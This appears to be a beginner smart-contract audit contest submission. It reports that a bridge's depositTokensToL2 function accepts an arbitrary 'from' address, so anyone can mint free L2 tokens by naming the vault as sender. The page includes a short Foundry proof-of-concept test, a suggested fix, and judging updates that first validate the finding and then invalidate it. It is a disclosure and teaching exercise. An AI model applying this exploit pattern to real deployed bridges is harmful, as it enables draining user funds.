Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Invalid

L1BossBridge.sol - depositTokensToL2 - Using Vault address to mint Free token on L2

Summary

Money Printer go BrrRrrRRRrRrrrr

A user could use the vault address as the Vault always have funds and use his address as the recipient

Vulnerability Details

The transfer from "Vault" to "Vault" is possible as the Vault will always have enough funds.
The exploiter could then set his address as the l2Recipient and keep minting free token

POC

function testVaultPrinter() public {
uint256 largeApprove = 100e18;
// Users deposit a large amount
vm.startPrank(user);
token.balanceOf(address(user));
token.approve(address(tokenBridge), largeApprove);
tokenBridge.depositTokensToL2(user, userInL2, largeApprove);
vm.stopPrank();
vm.startPrank(exploiter);
tokenBridge.depositTokensToL2(address(vault), exploiter, largeApprove);
tokenBridge.depositTokensToL2(address(vault), exploiter, largeApprove);
tokenBridge.depositTokensToL2(address(vault), exploiter, largeApprove);
vm.stopPrank();
}

Impact

High as the amount available on the L2 won't be balanced with the amount on the Vault , allowing the attacker to drain the Vault back on L1

Tools Used

Manual

Recommendations

use msg.sender instead of from in depositTokensToL2 method

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

0xrektified Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xrektified Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.